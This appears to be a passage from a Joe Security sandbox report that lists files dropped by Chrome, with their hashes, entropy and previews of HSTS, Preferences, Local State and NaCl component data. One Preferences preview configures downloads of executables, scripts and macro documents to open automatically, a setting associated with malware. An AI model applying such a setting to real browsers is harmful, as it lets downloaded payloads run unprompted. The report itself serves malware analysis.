MD5: D23A083FC748D794D999C08AD40DD69E

SHA1: E08298CA238557B0C157F0903292B03414B104CE

SHA-256: F6C21AAEEF20767AE1F1FCC424173DCB093FD9A04015F3786B8D47F88629AAE0

SHA-512: 094EF0687405421B30B81112AAC3D76409B68655B48E34F5F55248D91B217698611F7CB28D4B4F94C01378F80B18FF598E0F15BFE3DD67CA09E5D15BA111FD5D

Malicious: false

Reputation: low

Preview: {"expect_ct":[],"sts":[{"expiry":1654701301.094781,"host":"0J7rAWV0ouCFYJ9XrkDiKnAO1SshXJmLJE1SS3V8kDM=","mode":"force-https","sts_include_subdomains"
:false,"sts_observed":1623165301.094784},{"expiry":1654701298.912333,"host":"5EdUoB7YUY9zZV+2DkgVXgho8WUvp+D+6KpeUOhNQIM=","mode":"force-htt
ps","sts_include_subdomains":false,"sts_observed":1623165298.912336},{"expiry":1685202297.486327,"host":"7+Qq9NPBJ6RZucdtCEaDhfvyoQegvN9kTyf
dM0mFmYo=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1653666297.486331},{"expiry":1654701286.340989,"host":"8/RrMmQlCD2Gsp14wU
CE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1623165286.340993},{"expiry":1654701300.827908,"host":"
+ccWXqaoHJ9hfuXbleKV6FQUrBlyXAJ31BdqjNQJpHs=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1623165300.827911}],"version":2}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 875

Entropy (8bit): 5.570098251654103

Encrypted: false

SSDEEP: 12:YI9Mkq/HH+UAnIOVRWcNnYj+UAnIblogp6BN+UAnIOsHhRR7N+UAnI02dmHt0FKR:YIakq/HeU4nWaUxuwUX7wU+tVRUJQ

MD5: D23A083FC748D794D999C08AD40DD69E

SHA1: E08298CA238557B0C157F0903292B03414B104CE

SHA-256: F6C21AAEEF20767AE1F1FCC424173DCB093FD9A04015F3786B8D47F88629AAE0

SHA-512: 094EF0687405421B30B81112AAC3D76409B68655B48E34F5F55248D91B217698611F7CB28D4B4F94C01378F80B18FF598E0F15BFE3DD67CA09E5D15BA111FD5D

Malicious: false

Reputation: low

Preview: {"expect_ct":[],"sts":[{"expiry":1654701301.094781,"host":"0J7rAWV0ouCFYJ9XrkDiKnAO1SshXJmLJE1SS3V8kDM=","mode":"force-https","sts_include_subdomains"
:false,"sts_observed":1623165301.094784},{"expiry":1654701298.912333,"host":"5EdUoB7YUY9zZV+2DkgVXgho8WUvp+D+6KpeUOhNQIM=","mode":"force-htt
ps","sts_include_subdomains":false,"sts_observed":1623165298.912336},{"expiry":1685202297.486327,"host":"7+Qq9NPBJ6RZucdtCEaDhfvyoQegvN9kTyf
dM0mFmYo=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1653666297.486331},{"expiry":1654701286.340989,"host":"8/RrMmQlCD2Gsp14wU
CE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1623165286.340993},{"expiry":1654701300.827908,"host":"
+ccWXqaoHJ9hfuXbleKV6FQUrBlyXAJ31BdqjNQJpHs=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1623165300.827911}],"version":2}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 16306

Entropy (8bit): 5.56758581161129

Encrypted: false

SSDEEP: 384:6ortfLl1Xd1kXqKf/pUZNCgVLH2HfEMrUaLuGv74e:HLlRd1kXqKf/pUZNCgVLH2HfbrUuv7Z

MD5: 1C3634A5D37AC07337BC6D29DA2428C7

SHA1: 8C9C92AE2BEF9C8614306140995B9BED3EB5412E

SHA-256: 81DB0D9550138799CBDF46B722FC7F1FC19F37C8EB9B234741240FDB94FF3D10

SHA-512: 7EF18421F55B43A8DC4BF42481D978FCF78A34596CB912740B46B12CBDA9188B7EDD3E3165147C7E8B7B0BBA1A163CCEE47B2EBF991118DB18C9FA2683C1D3
16

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13298139891234227","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ad7e5961-9dca-4791-826a-6f3fb69ad524.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\d23c8ee6-95fd-4f26-8939-1c0dee8aab79.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\d8a5cbbf-d8f0-4e1c-a6f0-a4420a8cea6a.tmp
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File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1844

Entropy (8bit): 4.932461938228173

Encrypted: false

SSDEEP: 48:Y2TtwDHXPqnyv3zsAfARLsmjLz6NCaMJzsKSxbD:JTODHXin+2V6safxH

MD5: 72484C7BA065737DF8D0A4523C43172B

SHA1: 6DFDBDF4457E5DB7E427FEA926225D62E6C2793C

SHA-256: 24D9312D07BA0B9929B01EA0AC4955DD1216FCF298C61FA2FF7FBF17B64E857D

SHA-512: 094345227BAC3498B3F3FE940376FBF996316A4C5EF54DEB1232FD2C0497B40501BA921FD48D165878412EBC8C5BD75A5568C3E2D152B6718FCDBD409D88032F

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_s
pdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server"
:"https://update.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.
googleusercontent.com","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3-
29"],"expiration":"13300731894619406","port":443,"protocol_str":"quic"},{"advertised_alpns":["h3-Q050"],"expiration":"13300731894619408","port":443,"protocol_st
r":"quic"}],"isolation":[],"server":"https://accounts.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3-29"

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Tv:1qIFj

MD5: AEFD77F47FB84FAE5EA194496B44C67A

SHA1: DCFBB6A5B8D05662C4858664F81693BB7F803B82

SHA-256: 4166BF17B2DA789B0D0CC5C74203041D98005F5D4EF88C27E8281E00148CD611

SHA-512: B733D502138821948267A8B27401D7C0751E590E1298FDA1428E663CCD02F55D0D2446FF4BC265BDCDC61F952D13C01524A5341BC86AFC3C2CDE1D8589B2E1C3

Malicious: false

Reputation: low

Preview: MANIFEST-000006.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Tv:1qIFj

MD5: AEFD77F47FB84FAE5EA194496B44C67A

SHA1: DCFBB6A5B8D05662C4858664F81693BB7F803B82

SHA-256: 4166BF17B2DA789B0D0CC5C74203041D98005F5D4EF88C27E8281E00148CD611

SHA-512: B733D502138821948267A8B27401D7C0751E590E1298FDA1428E663CCD02F55D0D2446FF4BC265BDCDC61F952D13C01524A5341BC86AFC3C2CDE1D8589B2E1C3

Malicious: false

Reputation: low

Preview: MANIFEST-000006.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: MS Windows icon resource - 13 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel

Category: dropped

Size (bytes): 181072

Entropy (8bit): 5.774426487043815

Encrypted: false

SSDEEP: 1536:avbYFOZyYb37psk2SVlfN/qskVMxoZ51+XBY95/E5cCDd4QAOXxfzUBn2Y2l3P:a8Y7wqFTkVMO51+XBY96Nd4ByVuV2l3P

MD5: 1B40AC9ABB964672109D49ABFCFE2717

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000006.dbtmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\e8cdf010-d3b8-4ca1-beb3-db562a5aa3f3.tmp
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SHA1: 966E224F2887075825D42D2E7E0063BFAA81A99C

SHA-256: 503149B1B47F8296DEDB800251DBD9AF614856F0D7E6AB1C03DBC90EBCE53674

SHA-512: 00B50E49CAFD8246102BB460C7B96C20B50A2DDCB48A64C40D65901B517A2698DB9C5AA5EC7F143314DDB8D74624377F12A95C7F4D9FCE206473E8BBF126388
B

Malicious: false

Reputation: low

Preview: ............ .H............. ............... .p............. .h...n......... ............... .........  .... .....n...((.... .h.......00.... ..%..~H..@@.... .(B..&n..``.... .....N......... .(....D........ .2v...M..(............. ...........
......................]..X\.).H...>..Z............\..._...V...F...A...A.......^..Wb...f.)...l...v.M...B...@..Wc...[.....z...`...J.....9...E...k...R.D.......G...A.....;...E...h..XKd..KW..........D...>...=..X....
GQ.JW..;M..8K..@H..=;.............JV.YKV.IT.BS.Y........................................(............. .....................................[..TZ.5.B...@..T................X...]...`...\...K...D...A...;.......3...\...e...
V...h.).d.G.<...F...@...3...^..Td...X.....e....v.....:...E...=..T`...d...h.B.....?...;...O...B...A...b.!.g...Ru......9...8...P...C...C...l..U].M.5@..............6...C...@..T....EW..LX..=K..O
b..Me..5R..AX..;V..++......BL..KW..KW..DO..BL..EN..AJ..;1..................HT.UIV.FT.BQ.U..............................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 106

Entropy (8bit): 3.138546519832722

Encrypted: false

SSDEEP: 3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l

MD5: DE9EF0C5BCC012A3A1131988DEE272D8

SHA1: FA9CCBDC969AC9E1474FCE773234B28D50951CD8

SHA-256: 3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590

SHA-512: CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691
724

Malicious: false

Reputation: low

Preview: C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 13

Entropy (8bit): 2.873140679513133

Encrypted: false

SSDEEP: 3:mB4:mu

MD5: 3A0E5D4F452CF99191634D0FFAB744A0

SHA1: F115BBB898EEFF640D8D19AD44A86C3FCDFFC0AD

SHA-256: B9D528D3AE283039F4700C7E4E790744C58A26353A91B536DD91CBA4F648A35F

SHA-512: 87BF9DB30598EC454A02A4A32E5458E83870524D4AA497CB167C8A92B7521204B7B75E2BE18D61F9FBE51CA7DE8E35782AA65E6F6F11E4A4926A9B6C85D6528
A

Malicious: false

Reputation: low

Preview: 92.0.4515.107

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 109764

Entropy (8bit): 6.065419039497741

Encrypted: false

SSDEEP: 1536:Q+Gqu0XGM1CCHq42oiVfqchXJlAL3VYhLoAwgJyvjwf0hCsjUtjOjXMWu:Q+7XTCCHq44gMY3VYhtyUf2RgyjXa

MD5: 9B8192114779AB14DC306AC5F43D17C0

SHA1: ECA18620994D6DBE857BB2DA2E2449FD261EB696

SHA-256: 3C5ADBBB3D77795DA976C63A0C212E7A6CE98271602D6A0A4E97BAA17B7F7998

SHA-512: 55BDD8F9DF594BA191D8284FA0FE7C798DBEE70C9DBBF5CE4DC434757E26470B5DF0A3B858A878A904AFC551EFEBCE37B1E5B6C9B5D9E5151A55FDD1CCB2
824B

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)
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Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"91.0.4472.77"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user
":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.653666293692891e+12,"network":1.653633895e+12,"ticks":175575671.0,"uncertainty":3073171.0}},"os_crypt":{"encrypted_key":"RFB
BUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABBQ7WxpM2gT7fMNkY5iRxkAAAAAAIAAAAAABBmAAAAAQAAIAAAALDWDwoLRYqp0NkiPsTxUN2QcOPsitaJrda
cpo+ULE2PAAAAAA6AAAAAAgAAIAAAAOIeKQBWbQSCqXv1OSNS2lIZGHfAdJRwvbkapN4/FWvwMAAAAPz8I/w07KQb4Ut8ObsBGVgFwbuU88R362cCGZpNEtO
EILJDMaKWOA4Y9ejBRTt5kEAAAADq8RkIezfgqGPgEaEMkhoGd9qhyBeyucXcRUPEI7mgYIxaDt8C5FJrjkEhV5EOUcUmR2SCzqYelImLnfOlbhRQ"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13288110187278364"},"plugins":{"metadata":{"adobe-flash-player":{"displ

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 97592

Entropy (8bit): 3.7589541942634903

Encrypted: false

SSDEEP: 384:W9n9M4WUaBK1ZqyYoVuVBH9j6Vf/jqql1eDuTS2kQCKNmXkXRVTAjV2U/+Dq6cVY:2GoqTFar/4JfCR+RVKCmxW4

MD5: 7159A16EF5CE05A9594B250CD51AD690

SHA1: 7394B423F8DF7D634C7E7BB203E066BD8083B13F

SHA-256: F643FA4AE000DED2E98F1E05F601D788016B1A0B0B0602835835D1EADC9114CA

SHA-512: 3E16862A963FCDD2DF419B574E3B963F8B8EEB0675B276EBC6EA11C79C6AD25F6DF44C9654528F87260F525DED8EE5881CD4D089125AD491D9767290E7C0112
D

Malicious: false

Reputation: low

Preview: 4}..............T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e.\.2.1...0.8.3...0.4.2.5...0.0.0.3.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l.......puA...
c.:.\.p.r.o.g.r.a.m. .f.i.l.e.s. .(.x.8.6.).\.m.i.c.r.o.s.o.f.t. .o.n.e.d.r.i.v.e.\.2.1...0.8.3...0.4.2.5...0.0.0.3.\.a.m.d.6.4.\.......f.i.l.e.s.y.n.c.s.h.e.l.l.6.4...d.l.l.......M.i.c.r.o.s.o.f.t. .
O.n.e.D.r.i.v.e."...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n.....2.1...0.8.3...0.4.2.5...0.0.0.3.....T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.
n.e.D.r.i.v.e.\.2.1...0.8.3...0.4.2.5...0.0.0.3.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...g]8. ...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.7.-.Z.i.p.
\.7.-.z.i.p...d.l.l.......n\....%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.7.-.z.i.p.\.......7.-.z.i.p...d.l.l.......7.-.Z.i.p.......7.-.Z.i.p. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n.......1.9...0.0...............g]8.....

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 94804

Entropy (8bit): 3.7582409189173123

Encrypted: false

SSDEEP: 384:d9n9M4WUaBZZqUuVBH9j6Vf/jqql1eDuTS2kQCKNmXkXRVTAjV2U/Hq6cVCB7PvO:JoqTwar/4JfCR+RVKCmxWV

MD5: E1FBFE7659795A35720070C626493EDF

SHA1: 836502C45B1E8DA5E6015B58769A92D0695D8C0F

SHA-256: C4E3EFC29B5C76EA91C9C4BCDC222D11807BBE6072E79DF7BBCE610B876A3624

SHA-512: C223D9DC1E2FC9815631DFE479E745BCD187B97FA3C0149ED01F565968E701B02CCECD53B7A7BC66E971ADDEC552785A0C289FE5D7E04CF43EB1211BCCE16
ACB

Malicious: false

Reputation: low

Preview: Pr..............T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e.\.2.1...0.8.3...0.4.2.5...0.0.0.3.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l.......puA...
c.:.\.p.r.o.g.r.a.m. .f.i.l.e.s. .(.x.8.6.).\.m.i.c.r.o.s.o.f.t. .o.n.e.d.r.i.v.e.\.2.1...0.8.3...0.4.2.5...0.0.0.3.\.a.m.d.6.4.\.......f.i.l.e.s.y.n.c.s.h.e.l.l.6.4...d.l.l.......M.i.c.r.o.s.o.f.t. .
O.n.e.D.r.i.v.e."...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n.....2.1...0.8.3...0.4.2.5...0.0.0.3.....T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.
n.e.D.r.i.v.e.\.2.1...0.8.3...0.4.2.5...0.0.0.3.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...g]8. ...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.7.-.Z.i.p.
\.7.-.z.i.p...d.l.l.......n\....%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.7.-.z.i.p.\.......7.-.z.i.p...d.l.l.......7.-.Z.i.p.......7.-.Z.i.p. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n.......1.9...0.0...............g]8.....

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 109670

Entropy (8bit): 6.065132253615245

Encrypted: false

SSDEEP: 1536:s4Gqu0XGM1CCHq42oiVfqchXJlAL3VYhLoAwgJyvjwf0hCsjUtjOjXMWu:s47XTCCHq44gMY3VYhtyUf2RgyjXa

MD5: FE3E71C3C4A048B4A2A2BAC695C6F343

SHA1: 6DA06E2084005684B3108B256F5FB0345835962A

SHA-256: 2177F8EA8CF6F77FDAC5C8BC128F01F845781CD75F86A5C5630264758A7BA38B

SHA-512: A370D63DCF7D109957B3FE63DBE7CF7C69E82A217FD8E2898368EC640638C1A11BB5E0754596E37160A15819136C7CDCBFA5836DC510FAA670D50911A876F392

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\b3873545-70ba-43e3-b382-3bd22cae4503.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\b3eb5e42-9b04-4d50-9aa7-3e5640318448.tmp
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Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"91.0.4472.77"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user
":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.653666293692891e+12,"network":1.653633895e+12,"ticks":175575671.0,"uncertainty":3073171.0}},"os_crypt":{"encrypted_key":"RFB
BUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABBQ7WxpM2gT7fMNkY5iRxkAAAAAAIAAAAAABBmAAAAAQAAIAAAALDWDwoLRYqp0NkiPsTxUN2QcOPsitaJrda
cpo+ULE2PAAAAAA6AAAAAAgAAIAAAAOIeKQBWbQSCqXv1OSNS2lIZGHfAdJRwvbkapN4/FWvwMAAAAPz8I/w07KQb4Ut8ObsBGVgFwbuU88R362cCGZpNEtO
EILJDMaKWOA4Y9ejBRTt5kEAAAADq8RkIezfgqGPgEaEMkhoGd9qhyBeyucXcRUPEI7mgYIxaDt8C5FJrjkEhV5EOUcUmR2SCzqYelImLnfOlbhRQ"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13288110187278364"},"plugins":{"metadata":{"adobe-flash-player":{"displ

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 109670

Entropy (8bit): 6.065132645315225

Encrypted: false

SSDEEP: 1536:sSGqu0XGM1CCHq42oiVfqchXJlAL3VYhLoAwgJyvjwf0hCsjUtjOjXMWu:sS7XTCCHq44gMY3VYhtyUf2RgyjXa

MD5: B4641C5E8D2C3CCBC8075C3B04E1A957

SHA1: 2564EF246D4EFC9A8164EB2FA6D1D1DE9E35D41E

SHA-256: EB1F1D3B73FFDEBEF6D2C5003410199EFEB113A7CB85A4710664F68E2D233EBC

SHA-512: EAA945C3F857C6F44163F2598B71C88DF54492F71D79B49C696633158493166E2F2D63B758B7FA851F77F3FBBD785DF2655CE6B43602D025CB6C83CA88BBA67A

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"91.0.4472.77"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user
":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.653666293692891e+12,"network":1.653633895e+12,"ticks":175575671.0,"uncertainty":3073171.0}},"os_crypt":{"encrypted_key":"RFB
BUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABBQ7WxpM2gT7fMNkY5iRxkAAAAAAIAAAAAABBmAAAAAQAAIAAAALDWDwoLRYqp0NkiPsTxUN2QcOPsitaJrda
cpo+ULE2PAAAAAA6AAAAAAgAAIAAAAOIeKQBWbQSCqXv1OSNS2lIZGHfAdJRwvbkapN4/FWvwMAAAAPz8I/w07KQb4Ut8ObsBGVgFwbuU88R362cCGZpNEtO
EILJDMaKWOA4Y9ejBRTt5kEAAAADq8RkIezfgqGPgEaEMkhoGd9qhyBeyucXcRUPEI7mgYIxaDt8C5FJrjkEhV5EOUcUmR2SCzqYelImLnfOlbhRQ"},"password_mana
ger":{"os_password_blank":true,"os_password_last_changed":"13288110187278364"},"plugins":{"metadata":{"adobe-flash-player":{"displ

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

Reputation: low

Preview: .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3034

Entropy (8bit): 5.876664552417901

Encrypted: false

SSDEEP: 48:p/hEc9q0S+UTKYM43z8nqMsfWRUWEADM/W9n7lqFkakzcVTGkcYTPi6zM:RGcg5z/jjjHgUnV278+aWLy4

MD5: 8B6C3E16DFBF5FD1C9AC2267801DB38E

SHA1: F5CADC5914DF858C96C189B092BC89C29407BBAA

SHA-256: FD986A547D9585E98F451B87CA85DEB4B61EE540C6FAC678D7BEDABF04653095

SHA-512: 37048EF8FADF62A26CAEC6EE90AC192429AB1E99424E5C68FACA90C0DAD68642C761FDCAC03FC38FA930841F91FA145A6943EC7F168D4F2FA426F1F092C2F5
02

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Google\Chrome\User Data\cc1f8062-5cc0-4aa0-ae9e-477ccb5b5728.tmp

C:\Users\user\AppData\Local\Temp\687 700-9fde-4176-98e1-c382adb47f00.tmp

C:\Users\user\AppData\Local\Temp\7300_15114805\_metadata\verified_contents.json

Copyright Joe Security LLC 2022 Page 29 of 95



Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY19wbmFjbF9qc29uIiwicm9vdF9oYXNoIjoiVkNUSHNJVHNUSXVncWNhV2ctWHVpTU1
sdWloV1FSTE1sQnpTTGprdGhETSJ9LHsicGF0aCI6Il9wbGF0Zm9ybV9zcGVjaWZpYy94ODZfNjQvcG5hY2xfcHVibGljX3g4Nl82NF9jcnRiZWdpbl9mb3JfZWhfbyIsI
nJvb3RfaGFzaCI6ImxINWt2a1BvSVZZczZKVHhyOHc5Q2MxXzloVEJCX3lVSlF6VDZseVVNd0kifSx7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWN
sX3B1YmxpY194ODZfNjRfY3J0YmVnaW5fbyIsInJvb3RfaGFzaCI6IkVuLVFQTW1HUm1xbG9Ud1gzOTAzckpsMkw0R25sQmdET1FhZlNKaHJ4Nk0ifSx7InBhdGgiOiJfc
GxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY194ODZfNjRfY3J0ZW5kX28iLCJyb290X2hhc2giOiJkT2lJVzRmdEdGNW9FY0k1UXYyYjBmd
XNrUlYyaUVtdmxhbmV6MlpFc3VvIn0seyJwYXRoIjoiX3BsYXRmb3JtX3NwZWNpZmljL3g4Nl82NC9wbmFjbF9wdWJsaWNfeDg2XzY0X2xkX25leGUiLCJyb290X2hhc2g
iOiIzNEU5QU9EMmpqLWNoMzZQZ0NVV0YtMUpYWVhVdlNGY1I4bks1aWppcWNjIn0seyJwYXRoIjoiX3B

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 507

Entropy (8bit): 4.68252584617246

Encrypted: false

SSDEEP: 12:TjLJ7qaVgPPd8bdzQBXefosmc5T9+n6e1Cetm1JXcAwA:TJ7jViPOd8wfHmZ6RP15

MD5: 35D5F285F255682477F4C50E93299146

SHA1: FB58813C4D785412F05962CD379434669DE79C2B

SHA-256: 5424C7B084EC4C8BA0A9C69683E5EE88C325BA28564112CC941CD22E392D8433

SHA-512: 59DF2D5F2684FACC80C72F9C4B7E280F705776076C9D843534F772D5A3D578BEE04289AEE81320F23FB4D743F3969EDF5BA53FEBBAC8A4D27F3BC53BCF271C3
E

Malicious: false

Reputation: low

Preview: {.    "COMMENT": [.        "This file serves as a template for the resource info description used by ", .        "the NaCl Chrome plugin.  It is kept in the NaCl repository to 
prevent ", .        "hard-coding of NaCl-specific information inside the Chrome repository.".    ], .    "abi-version": 1, .    "pnacl-arch": "x86-64", .    "pnacl-ld-name": "ld.nexe", 
.    "pnacl-llc-name": "pnacl-llc.nexe", .    "pnacl-sz-name": "pnacl-sz.nexe", .    "pnacl-version": "5dfe030a71ca66e72c5719ef5034c2ed24706c43".}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 2712

Entropy (8bit): 3.4025803725190906

Encrypted: false

SSDEEP: 48:b/5D5V5PK82aTS6aTTw0Do1DttoyDNsEA:b/hbVic1ZtLDNsE

MD5: 604FF8F351A88E7A1DBD7C836378AE86

SHA1: 9D8D89AE9F13D6306E619A4EAAD51EDE91A5F9F3

SHA-256: 947E64BE43E821562CE894F1AFCC3D09CD7FF614C107FC94250CD3EA5C943302

